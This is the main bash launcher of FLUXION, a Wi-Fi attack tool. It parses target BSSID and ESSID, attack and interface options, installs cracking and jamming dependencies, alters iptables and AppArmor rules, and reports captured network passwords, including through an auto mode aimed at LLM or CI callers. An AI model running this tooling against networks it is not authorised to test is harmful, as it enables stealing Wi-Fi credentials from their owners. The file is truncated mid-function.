#!/usr/bin/env bash

# ============================================================ #
# ================== < FLUXION Parameters > ================== #
# ============================================================ #
# Path to directory containing the FLUXION executable script.
readonly FLUXIONPath=$(dirname $(readlink -f "$0"))

# Path to directory containing the FLUXION library (scripts).
readonly FLUXIONLibPath="$FLUXIONPath/lib"

# Path to the temp. directory available to FLUXION & subscripts.
readonly FLUXIONWorkspacePath="/tmp/fluxspace"
readonly FLUXIONIPTablesBackup="$FLUXIONPath/iptables-rules"

# Path to FLUXION's preferences file, to be loaded afterward.
readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf"

# Constants denoting the reference noise floor & ceiling levels.
# These are used by the the wireless network scanner visualizer.
readonly FLUXIONNoiseFloor=-90
readonly FLUXIONNoiseCeiling=-60

readonly FLUXIONVersion=6
readonly FLUXIONRevision=30

# Declare window ration bigger = smaller windows
FLUXIONWindowRatio=4

# Allow to skip dependencies if required, not recommended
FLUXIONSkipDependencies=1

# Check if there are any missing dependencies
FLUXIONMissingDependencies=0


# ============================================================ #
# ================= < Script Sanity Checks > ================= #
# ============================================================ #
# Pre-parse flags that must run before root/X11 checks.
FLUXIONPreParseTMux=""
FLUXIONPreParseScanOnly=""
FLUXIONPreParseListIfaces=""
FLUXIONPreParseHelp=""
for arg in "$@"; do
  case "$arg" in
    -m|--multiplexer) FLUXIONPreParseTMux=1;;
    --scan-only) FLUXIONPreParseScanOnly=1;;
    --list-interfaces) FLUXIONPreParseListIfaces=1;;
    -h|--help|-v|--version) FLUXIONPreParseHelp=1;;
  esac
done

if [ $EUID -ne 0 ] && [ ! "$FLUXIONPreParseHelp" ] && [ ! "$FLUXIONPreParseListIfaces" ]; then
  echo -e "\\033[31mAborted, please execute the script as root.\\033[0m"; exit 1
fi

# Save original args for tmux re-exec.
readonly FLUXIONOriginalArgs=$(printf '%q ' "$@")

# If stdin is not a TTY (e.g., running from an LLM tool or CI) and we need
# tmux mode, re-exec under script(1) to allocate a pseudo-terminal.
if [ ! -t 0 ] && [ -z "$FLUXION_HAS_PTY" ] && [ "$FLUXIONPreParseTMux" ]; then
  export FLUXION_HAS_PTY=1
  exec 3>&1
  exec script -qc "$0 $FLUXIONOriginalArgs" /dev/null
fi

# ===================== < Display Checks > ===================== #
if [ "$FLUXIONPreParseScanOnly" ] || [ "$FLUXIONPreParseListIfaces" ] || [ "$FLUXIONPreParseHelp" ]; then
  # These modes don't need a display at all.
  :
elif [ "$FLUXIONPreParseTMux" ]; then
  # tmux mode: verify tmux is installed instead of X11.
  if ! hash tmux 2>/dev/null; then
    echo -e "\\033[31mAborted, tmux is not installed.\\033[0m"; exit 2
  fi
else
  if [ ! "${DISPLAY:-}" ] || ! hash xdpyinfo 2>/dev/null || ! xdpyinfo &>/dev/null; then
    # No usable X11 display — fall back to tmux mode automatically.
    if ! hash tmux 2>/dev/null; then
      echo -e "\\033[31mAborted, no display available and tmux is not installed.\\033[0m"; exit 2
    fi
    FLUXIONPreParseTMux=1
    # Allocate a PTY if stdin is not a terminal (LLM, CI, etc.).
    if [ ! -t 0 ] && [ -z "$FLUXION_HAS_PTY" ]; then
      export FLUXION_HAS_PTY=1
      exec 3>&1
      exec script -qc "$0 $FLUXIONOriginalArgs" /dev/null
    fi
  fi
fi

# ================ < Parameter Parser Check > ================ #
getopt --test > /dev/null # Assure enhanced getopt (returns 4).
if [ $? -ne 4 ]; then
  echo "\\033[31mAborted, enhanced getopt isn't available.\\033[0m"; exit 5
fi

# =============== < Working Directory Check > ================ #
if ! mkdir -p "$FLUXIONWorkspacePath" &> /dev/null; then
  echo "\\033[31mAborted, can't generate a workspace directory.\\033[0m"; exit 6
fi

# Once sanity check is passed, we can start to load everything.

# ============================================================ #
# =================== < Library Includes > =================== #
# ============================================================ #
source "$FLUXIONLibPath/installer/InstallerUtils.sh"
source "$FLUXIONLibPath/InterfaceUtils.sh"
source "$FLUXIONLibPath/SandboxUtils.sh"
source "$FLUXIONLibPath/FormatUtils.sh"
source "$FLUXIONLibPath/ColorUtils.sh"
source "$FLUXIONLibPath/IOUtils.sh"
source "$FLUXIONLibPath/HashUtils.sh"
source "$FLUXIONLibPath/HelpUtils.sh"
source "$FLUXIONLibPath/WindowUtils.sh"

# NOTE: These are configured after arguments are loaded (later).

# Write a clean timestamped status line for machine consumption (LLM, CI).
# In auto mode: appends to /tmp/fluxspace/fluxion.status and writes to fd 3
# (the original stdout preserved before the script(1) PTY wrapper).
# In interactive mode: no-op.
fluxion_status() {
  [ "$FLUXIONAuto" ] || return 0
  local ts=$(date '+%Y-%m-%dT%H:%M:%S')
  local msg="[$ts] $*"
  echo "$msg" >> "$FLUXIONWorkspacePath/fluxion.status" 2>/dev/null
  if { true >&3; } 2>/dev/null; then
    echo "$msg" >&3
  fi
}

# ============================================================ #
# =================== < Parse Parameters > =================== #
# ============================================================ #
if ! FLUXIONCLIArguments=$(
    getopt --options="vdkrinmthb:e:c:l:a:r" \
      --longoptions="debug,debug-log:,version,killer,installer,reloader,help,airmon-ng,multiplexer,target,test,auto,bssid:,essid:,channel:,language:,attack:,ratio,skip-dependencies,scan-time:,scan-only,list-interfaces,interface:,jammer-interface:,ap-interface:,tracker-interface:,ap-service:,timeout:,reg-domain:,band:" \
      --name="FLUXION V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
  ); then
  echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 5
fi

AttackCLIArguments=${FLUXIONCLIArguments##* -- }
readonly FLUXIONCLIArguments=${FLUXIONCLIArguments%%-- *}
if [ "$AttackCLIArguments" = "$FLUXIONCLIArguments" ]; then
  AttackCLIArguments=""
fi


# ============================================================ #
# ================== < Load Configurables > ================== #
# ============================================================ #

# ============= < Argument Loaded Configurables > ============ #
eval set -- "$FLUXIONCLIArguments" # Set environment parameters.

#[ "$1" != "--" ] && readonly FLUXIONAuto=1 # Auto-mode if using CLI.
while [ "$1" != "" ] && [ "$1" != "--" ]; do
  case "$1" in
    -v|--version) echo "FLUXION V$FLUXIONVersion.$FLUXIONRevision"; exit;;
    -h|--help) fluxion_help; exit;;
    -d|--debug) readonly FLUXIONDebug=1;;
    --debug-log) FLUXIONDebugLog="$2"; shift;;
    -k|--killer) readonly FLUXIONWIKillProcesses=1;;
    -r|--reloader) readonly FLUXIONWIReloadDriver=1;;
    -n|--airmon-ng) readonly FLUXIONAirmonNG=1;;
    -m|--multiplexer) readonly FLUXIONTMux=1;;
    -b|--bssid) FluxionTargetMAC=$2; shift;;
    -e|--essid) FluxionTargetSSID=$2;
      # TODO: Rearrange declarations to have routines available for use here.
      FluxionTargetSSIDClean=$(echo "$FluxionTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g'); shift;;
    -c|--channel) FluxionTargetChannel=$2; shift;;
    -l|--language) FluxionLanguage=$2; shift;;
    -a|--attack) FluxionAttack=$2; shift;;
    -i|--install) FLUXIONSkipDependencies=0; shift;;
    --ratio) FLUXIONWindowRatio=$2; shift;;
    --auto) readonly FLUXIONAuto=1;;
    --scan-time) FLUXIONScanTime=$2; shift;;
    --scan-only) readonly FLUXIONScanOnly=1;;
    --list-interfaces) FLUXIONListInterfaces=1;;
    --interface) FLUXIONInterface=$2; shift;;
    --skip-dependencies) readonly FLUXIONSkipDependencies=1;;
    --jammer-interface) FLUXIONJammerInterface=$2; shift;;
    --ap-interface) FLUXIONAPInterface=$2; shift;;
    --tracker-interface) FLUXIONTrackerInterface=$2; shift;;
    --ap-service) FLUXIONAPService=$2; shift;;
    --timeout) FLUXIONTimeout=$2; shift;;
    --reg-domain) FLUXIONRegDomain=${2^^}; shift;;
    --band) FLUXIONBand=$2; shift;;
  esac
  shift # Shift new parameters
done

# Propagate no-display tmux fallback (set during pre-parse) into FLUXIONTMux.
if [ "$FLUXIONPreParseTMux" ] && [ "$FLUXIONTMux" != "1" ]; then
  readonly FLUXIONTMux=1
fi

# Default scan time for auto mode.
if [ -z "$FLUXIONScanTime" ]; then
  FLUXIONScanTime=30
fi

# Scan-only mode implies auto + killer.
if [ "$FLUXIONScanOnly" ]; then
  if [ "$FLUXIONAuto" != "1" ]; then
    readonly FLUXIONAuto=1
  fi
fi

# Auto mode implies killer mode (can't prompt user about interfering processes).
if [ "$FLUXIONAuto" ] && [ "$FLUXIONWIKillProcesses" != "1" ]; then
  readonly FLUXIONWIKillProcesses=1
fi

shift # Remove "--" to prepare for attacks to read parameters.
# Executable arguments are handled after subroutine definition.

# =================== < User Preferences > =================== #
# Load user-defined preferences if there's an executable script.
# If no script exists, prepare one for the user to store config.
# WARNING: Preferences file must assure no redeclared constants.
if [ $EUID -eq 0 ]; then
  if [ -x "$FLUXIONPreferencesFile" ]; then
    source "$FLUXIONPreferencesFile"
  else
    echo '#!/usr/bin/env bash' > "$FLUXIONPreferencesFile"
    chmod u+x "$FLUXIONPreferencesFile"
  fi
fi

# ================ < Configurable Constants > ================ #
if [ "$FLUXIONAuto" != "1" ]; then # If defined, assure 1.
  readonly FLUXIONAuto=${FLUXIONAuto:+1}
fi

if [ "$FLUXIONDebug" != "1" ]; then # If defined, assure 1.
  readonly FLUXIONDebug=${FLUXIONDebug:+1}
fi

if [ "$FLUXIONAirmonNG" != "1" ]; then # If defined, assure 1.
  readonly FLUXIONAirmonNG=${FLUXIONAirmonNG:+1}
fi

if [ "$FLUXIONWIKillProcesses" != "1" ]; then # If defined, assure 1.
  readonly FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
fi

if [ "$FLUXIONWIReloadDriver" != "1" ]; then # If defined, assure 1.
  readonly FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1}
fi

# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
if [ $FLUXIONDebug ]; then
  # Use custom debug log path if specified, otherwise default to /tmp
  if [ -z "$FLUXIONDebugLog" ]; then
    FLUXIONDebugLog="/tmp/fluxion.debug.log"
  fi
  :> "$FLUXIONDebugLog"
  readonly FLUXIONOutputDevice="$FLUXIONDebugLog"
  readonly FLUXIONHoldXterm="-hold"
  echo "Debug log: $FLUXIONDebugLog"
else
  readonly FLUXIONOutputDevice=/dev/null
  readonly FLUXIONHoldXterm=""
fi

# Initialize window system (xterm or tmux).
fluxion_window_init

# Truncate status file for clean auto-mode progress reporting.
[ "$FLUXIONAuto" ] && : > "$FLUXIONWorkspacePath/fluxion.status" 2>/dev/null

# ================ < Configurable Variables > ================ #
readonly FLUXIONPromptDefault="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr "
FLUXIONPrompt=$FLUXIONPromptDefault

readonly FLUXIONVLineDefault="$CRed[$CSYel*$CClr$CRed]$CClr"
FLUXIONVLine=$FLUXIONVLineDefault

# ================== < Library Parameters > ================== #
readonly InterfaceUtilsOutputDevice="$FLUXIONOutputDevice"

readonly SandboxWorkspacePath="$FLUXIONWorkspacePath"
readonly SandboxOutputDevice="$FLUXIONOutputDevice"

readonly InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath"
readonly InstallerUtilsOutputDevice="$FLUXIONOutputDevice"
readonly InstallerUtilsNoticeMark="$FLUXIONVLine"

readonly PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"

declare  IOUtilsHeader="fluxion_header"
readonly IOUtilsQueryMark="$FLUXIONVLine"
readonly IOUtilsPrompt="$FLUXIONPrompt"

readonly HashOutputDevice="$FLUXIONOutputDevice"

# ============================================================ #
# =================== < Default Language > =================== #
# ============================================================ #
# Set by default in case fluxion is aborted before setting one.
source "$FLUXIONPath/language/en.sh"

# ============================================================ #
# ================== < Startup & Shutdown > ================== #
# ============================================================ #

# Detect AppArmor-confined tools and add workspace access rules so fluxion
# can use them with its own config/data files in FLUXIONWorkspacePath.
# This is idempotent: rules already containing the workspace path are skipped.
fluxion_configure_apparmor() {
  # AppArmor must be present and manageable.
  [ -d /sys/kernel/security/apparmor ] || return 0
  [ -d /etc/apparmor.d/local ] || return 0
  hash apparmor_parser 2>/dev/null || return 0

  local changed=0

  # dhcpd: needs read access to config file and rw+link access to leases file.
  local dhcpdProfile="/etc/apparmor.d/usr.sbin.dhcpd"
  local dhcpdLocal="/etc/apparmor.d/local/usr.sbin.dhcpd"
  if [ -f "$dhcpdProfile" ] && ! grep -qF "$FLUXIONWorkspacePath" "$dhcpdLocal" 2>/dev/null; then
    printf '# Allow fluxion workspace access (added by fluxion)\n%s/ r,\n%s/** rwl,\n' \
      "$FLUXIONWorkspacePath" "$FLUXIONWorkspacePath" >> "$dhcpdLocal"
    apparmor_parser -r "$dhcpdProfile" &>/dev/null
    changed=1
  fi

  if [ "$changed" = "1" ]; then
    echo -e "$FLUXIONVLine AppArmor profiles updated for fluxion workspace."
  fi
}

fluxion_startup() {
  if [ "$FLUXIONDebug" ]; then return 1; fi

  # Make sure that we save the iptable files
  iptables-save >"$FLUXIONIPTablesBackup"
  local banner=()

  format_center_literals \
    " ⌠▓▒▓▒   ⌠▓╗     ⌠█┐ ┌█   ┌▓\  /▓┐   ⌠▓╖   ⌠◙▒▓▒◙   ⌠█\  ☒┐"
  banner+=("$FormatCenterLiterals")
  format_center_literals \
    " ║▒_     │▒║     │▒║ ║▒    \▒\/▒/    │☢╫   │▒┌╤┐▒   ║▓▒\ ▓║"
  banner+=("$FormatCenterLiterals")
  format_center_literals \
    " ≡◙◙     ║◙║     ║◙║ ║◙      ◙◙      ║¤▒   ║▓║☯║▓   ♜◙\✪\◙♜"
  banner+=("$FormatCenterLiterals")
  format_center_literals \
    " ║▒      │▒║__   │▒└_┘▒    /▒/\▒\    │☢╫   │▒└╧┘▒   ║█ \▒█║"
  banner+=("$FormatCenterLiterals")
  format_center_literals \
    " ⌡▓      ⌡◘▒▓▒   ⌡◘▒▓▒◘   └▓/  \▓┘   ⌡▓╝   ⌡◙▒▓▒◙   ⌡▓  \▓┘"
  banner+=("$FormatCenterLiterals")
  format_center_literals \
    "¯¯¯     ¯¯¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯    ¯¯¯ ¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯¯¯¯¯¯"
  banner+=("$FormatCenterLiterals")

  clear

  if [ "$FLUXIONAuto" ]; then echo -e "$CBlu"; else echo -e "$CRed"; fi

  for line in "${banner[@]}"; do
    echo "$line"; sleep 0.05
  done

  echo # Do not remove.

  sleep 0.1
  local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion"
  format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr"
  echo -e "$FormatCenterLiterals"

  sleep 0.1
  local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr"
  local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)"
  local -r credits="by$CCyn FluxionNetwork$CClr"
  format_center_literals "$versionInfo $revisionInfo $credits"
  echo -e "$FormatCenterLiterals"

  sleep 0.1
  if [ ! "$FLUXIONAuto" ]; then
    local -r fluxionDomain="raw.githubusercontent.com"
    local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh"
    local -r updateDomain="github.com"
    local -r updatePath="FluxionNetwork/fluxion/archive/master.zip"
    if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \
      "FLUXIONVersion=" "FLUXIONRevision=" \
      $FLUXIONVersion $FLUXIONRevision; then
      if installer_utils_run_update "https://$updateDomain/$updatePath" \
        "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath"; then
        fluxion_shutdown
      fi
    fi
  fi

  echo # Do not remove.

  local requiredCLITools=(
    "aircrack-ng" "bc" "awk:awk|gawk|mawk"
    "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp-server|dhcp" "7zr:7zip-reduced|p7zip" "hostapd" "lighttpd"
    "iw" "macchanger" "mdk4" "dsniff" "nmap" "openssl"
    "php-cgi" "rfkill" "unzip" "route:net-tools"
    "fuser:psmisc" "killall:psmisc"
    "iptables" "iptables-save:iptables" "iptables-restore:iptables"
  )

  # Add display-mode-specific dependency.
  if [ "$FLUXIONDisplayMode" = "tmux" ]; then
    requiredCLITools+=("tmux")
  else
    requiredCLITools+=("xterm")
  fi


    local depRetryCount=0
    while ! installer_utils_check_dependencies requiredCLITools[@]; do
        if ! installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]; then
            echo
            echo -e "${CRed}Dependency installation failed!$CClr"
            if [ "$FLUXIONAuto" ]; then
                depRetryCount=$((depRetryCount + 1))
                if [ $depRetryCount -ge 2 ]; then
                    echo -e "${CRed}Auto mode: dependency install failed after retry, exiting.$CClr"
                    exit 7
                fi
                echo "Auto mode: retrying dependency install..."
                sleep 2
            else
                echo    "Press enter to retry, ctrl+c to exit..."
                read -r bullshit
            fi
        fi
    done
    if [ $FLUXIONMissingDependencies -eq 1 ]  && [ $FLUXIONSkipDependencies -eq 1 ];then
        echo -e "\n\n"
        format_center_literals "[ ${CSRed}Missing dependencies: try to install using ./fluxion.sh -i${CClr} ]"
        echo -e "$FormatCenterLiterals"; sleep 3

        exit 7
    fi

  # lighttpd's package auto-enables the system service on install; disable it
  # so it doesn't occupy port 80 or conflict with fluxion's own instance.
  if hash lighttpd 2>/dev/null && hash systemctl 2>/dev/null; then
    systemctl stop lighttpd &>/dev/null || true
    systemctl disable lighttpd &>/dev/null || true
  fi

  fluxion_configure_apparmor

  echo -e "\\n\\n" # This echo is for spacing
}

fluxion_shutdown() {
  # Close the clean-output fd if it was opened for the script(1) PTY wrapper.
  { exec 3>&-; } 2>/dev/null

  # Clean up any tmux windows we created.
  if type -t fluxion_window_cleanup &> /dev/null; then
    fluxion_window_cleanup
  fi

  # Show the header if the subroutine has already been loaded.
  if type -t fluxion_header &> /dev/null; then
    fluxion_header
  fi

  echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"

  # Get running processes we might have to kill before exiting.
  local processes
  readarray processes < <(ps -A)

  # Currently, fluxion is only responsible for killing airodump-ng, since
  # fluxion explicitly uses it to scan for candidate target access points.
  # NOTICE: Processes started by subscripts, such as an attack script,
  # MUST BE TERMINATED BY THAT SCRIPT in the subscript's abort handler.
  local -r targets=("airodump-ng")

  local targetID # Program identifier/title
  for targetID in "${targets[@]}"; do
    # Get PIDs of all programs matching targetPID
    local targetPID
    targetPID=$(
      echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}'
    )
    if [ ! "$targetPID" ]; then continue; fi
    echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
    kill -s SIGKILL $targetPID &> $FLUXIONOutputDevice
  done
  kill -s SIGKILL $authService &> $FLUXIONOutputDevice

  # Assure changes are reverted if installer was activated.
  if [ "$PackageManagerCLT" ]; then
    echo -e "$CWht[$CRed-$CWht] "$(
      io_dynamic_output "$FLUXIONRestoringPackageManagerNotice"
    )"$CClr"
    # Notice: The package manager has already been restored at this point.
    # InstallerUtils assures the manager is restored after running operations.
  fi

  # If allocated interfaces exist, deallocate them now.
  if [ ${#FluxionInterfaces[@]} -gt 0 ]; then
    local interface
    for interface in "${!FluxionInterfaces[@]}"; do
      # Only deallocate fluxion or airmon-ng created interfaces.
      if [[ "$interface" == "flux"* || "$interface" == *"mon"* || "$interface" == "prism"* ]]; then
        fluxion_deallocate_interface "$interface"
      fi
    done
  fi

  echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr"
  if [ -f "$FLUXIONIPTablesBackup" ]; then
    iptables-restore <"$FLUXIONIPTablesBackup" \
      &> $FLUXIONOutputDevice
    rm -f "$FLUXIONIPTablesBackup"
  else
    iptables --flush
    iptables --table nat --flush
    iptables --delete-chain
    iptables --table nat --delete-chain
  fi

  echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
  tput cnorm

  if [ ! $FLUXIONDebug ]; then
    echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
    sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
  fi

  if [ $FLUXIONWIKillProcesses ]; then
    echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"

    # TODO: Add support for other network managers (wpa_supplicant?).
    if [ ! -x "$(command -v systemctl)" ]; then
        if [ -x "$(command -v service)" ];then
        service network-manager restart &> $FLUXIONOutputDevice &
        service networkmanager restart &> $FLUXIONOutputDevice &
        service networking restart &> $FLUXIONOutputDevice &
      fi
    else
      systemctl restart network-manager.service &> $FLUXIONOutputDevice &
    fi
  fi

  echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
  echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"

  sleep 3

  clear

  exit 0
}


# ============================================================ #
# ================== < Helper Subroutines > ================== #
# ============================================================ #
# The following will kill the parent proces & all its children.
fluxion_kill_lineage() {
  if [ ${#@} -lt 1 ]; then return -1; fi

  if [ ! -z "$2" ]; then
    local -r options=$1
    local match=$2
  else
    local -r options=""
    local match=$1
  fi

  # Check if the match isn't a number, but a regular expression.
  # The following might
  if ! [[ "$match" =~ ^[0-9]+$ ]]; then
    match=$(pgrep -f $match 2> $FLUXIONOutputDevice)
  fi

  # Check if we've got something to kill, abort otherwise.
  if [ -z "$match" ]; then return -2; fi

  kill $options $(pgrep -P $match 2> $FLUXIONOutputDevice) \
    &> $FLUXIONOutputDevice
  kill $options $match &> $FLUXIONOutputDevice
}


# ============================================================ #
# ================= < Handler Subroutines > ================== #
# ============================================================ #
# Delete log only in Normal Mode !
fluxion_conditional_clear() {
  # Clear if we're not in debug mode
  if [ ! $FLUXIONDebug ]; then clear; fi
}

fluxion_conditional_bail() {
  echo ${1:-"Something went wrong, whoops! (report this)"}
  sleep 5
  if [ ! $FLUXIONDebug ]; then
    fluxion_handle_exit
    return 1
  fi
  if [ "$FLUXIONAuto" ]; then return 0; fi
  echo "Press any key to continue execution..."
  read -r bullshit
}

# ERROR Report only in Developer Mode
if [ $FLUXIONDebug ]; then
  fluxion_error_report() {
    echo "Exception caught @ line #$1"
  }

  trap 'fluxion_error_report $LINENO' ERR
fi

fluxion_handle_abort_attack() {
  if [ $(type -t stop_attack) ]; then
    stop_attack &> $FLUXIONOutputDevice
    unprep_attack &> $FLUXIONOutputDevice
  else
    echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice
  fi

  fluxion_target_tracker_stop
}

# In case of abort signal, abort any attacks currently running.
trap fluxion_handle_abort_attack SIGABRT

fluxion_handle_exit() {
  # Read success state NOW, before fluxion_handle_abort_attack or
  # fluxion_shutdown touch the workspace. Note: fluxion_shutdown calls
  # exit 0 itself so nothing after it ever runs.
  local _successPassword=""
  local _successSSID="$FluxionTargetSSID"
  local _successMAC="$FluxionTargetMAC"
  if [ -f "$FLUXIONWorkspacePath/status.txt" ] && \
     [ -f "$FLUXIONWorkspacePath/candidate.txt" ]; then
    _successPassword=$(cat "$FLUXIONWorkspacePath/candidate.txt" 2>/dev/null)
  fi

  fluxion_handle_abort_attack

  # Show success banner BEFORE fluxion_shutdown clears the screen and exits.
  if [ -n "$_successPassword" ]; then
    local _logFile=""
    if [ -n "${CaptivePortalNetLog:-}" ]; then
      _logFile=$(ls -t "$CaptivePortalNetLog"/*"$_successMAC"* 2>/dev/null | head -1)
    fi

    tput cnorm 2>/dev/null
    clear
    echo
    echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
    echo -e "  ${CSGrn}|           ATTACK SUCCESSFUL                   |${CClr}"
    echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
    echo -e "  ${CGrn}  Network  :${CClr} ${CSWht}$_successSSID${CClr}"
    echo -e "  ${CGrn}  BSSID    :${CClr} ${CSWht}$_successMAC${CClr}"
    echo -e "  ${CYel}  Password :${CClr} ${CSYel}$_successPassword${CClr}"
    if [ -n "$_logFile" ]; then
      echo -e "  ${CGrn}  Log      :${CClr} ${CSWht}$_logFile${CClr}"
    fi
    echo -e "  ${CSGrn}+-----------------------------------------------+${CClr}"
    echo
    if [ -z "${FLUXIONAuto:-}" ]; then
      read -rp "  Press Enter to clean up and exit... " _
      echo
    else
      sleep 10
    fi
  fi

  # Report final result for machine consumption (LLM, CI).
  if [ "$FLUXIONAuto" ]; then
    local _hsFile="$FLUXIONPath/attacks/Handshake Snooper/handshakes/${FluxionTargetSSIDClean}-${FluxionTargetMAC}.cap"
    if [ -n "$_successPassword" ]; then
      fluxion_status "RESULT password=$_successPassword ssid=$_successSSID bssid=$_successMAC"
    elif [ -f "$_hsFile" ]; then
      fluxion_status "RESULT handshake=$_hsFile ssid=$_successSSID bssid=$_successMAC"
    else
      fluxion_status "RESULT none"
    fi
  fi

  fluxion_shutdown
}

# In case of unexpected termination, run fluxion_shutdown.
trap fluxion_handle_exit SIGINT SIGHUP


fluxion_handle_target_change() {
  echo "Target change signal received!" > $FLUXIONOutputDevice

  local targetInfo
  readarray -t targetInfo < "$FLUXIONWorkspacePath/target_info.txt"

  FluxionTargetMAC=${targetInfo[0]}
  FluxionTargetSSID=${targetInfo[1]}
  FluxionTargetChannel=${targetInfo[2]}

  FluxionTargetSSIDClean=$(fluxion_target_normalize_SSID)

  if ! stop_attack; then
    fluxion_conditional_bail "Target tracker failed to stop attack."
  fi

  if ! unprep_attack; then
    fluxion_conditional_bail "Target tracker failed to unprep attack."
  fi

  if ! load_attack "$FLUXIONPath/attacks/$FluxionAttack/attack.conf"; then
    fluxion_conditional_bail "Target tracker failed to load attack."
  fi

  if ! prep_attack; then
    fluxion_conditional_bail "Target tracker failed to prep attack."
  fi

  # Restart attack services and tracker without blocking on user input.
  # NOTE: Do NOT call fluxion_run_attack here as it blocks on io_query_choice.
  start_attack
  fluxion_target_tracker_start
}

# If target monitoring enabled, act on changes.
trap fluxion_handle_target_change SIGALRM

fluxion_handle_target_absent() {
  echo "Target absent signal received." > $FLUXIONOutputDevice
  if [ "$(type -t pause_attack)" = "function" ]; then
    pause_attack &> $FLUXIONOutputDevice
  fi
}

fluxion_handle_target_present() {
  echo "Target present signal received." > $FLUXIONOutputDevice
  if [ "$(type -t resume_attack)" = "function" ]; then
    resume_attack &> $FLUXIONOutputDevice
  fi
}

trap fluxion_handle_target_absent SIGUSR1
trap fluxion_handle_target_present SIGUSR2


# ============================================================ #
# =============== < Resolution & Positioning > =============== #
# ============================================================ #
fluxion_set_resolution() { # Windows + Resolution

  # In tmux/headless mode, geometry variables are unused; skip X11 resolution detection.
  if [ "$FLUXIONDisplayMode" = "tmux" ] || [ "$FLUXIONDisplayMode" = "headless" ]; then
    TOPLEFT="" ; TOPRIGHT="" ; TOP=""
    BOTTOMLEFT="" ; BOTTOMRIGHT="" ; BOTTOM=""
    LEFT="" ; RIGHT=""
    TOPLEFTBIG="" ; TOPRIGHTBIG=""
    return 0
  fi

  # Get dimensions
  # Verify this works on Kali before commiting.
  # shopt -s checkwinsize; (:;:)
  # SCREEN_SIZE_X="$LINES"
  # SCREEN_SIZE_Y="$COLUMNS"

  SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(")
  SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}'))
  SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))

  # Calculate proportional windows
  if hash bc ;then
    PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
    NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
    NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)

    NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
    NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)

    SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2)))
    SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2)))

    # Upper windows
    TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
    TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"
    TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"

    # Lower windows
    BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"
    BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"
    BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"

    # Y mid
    LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"
    RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"

    # Big
    TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
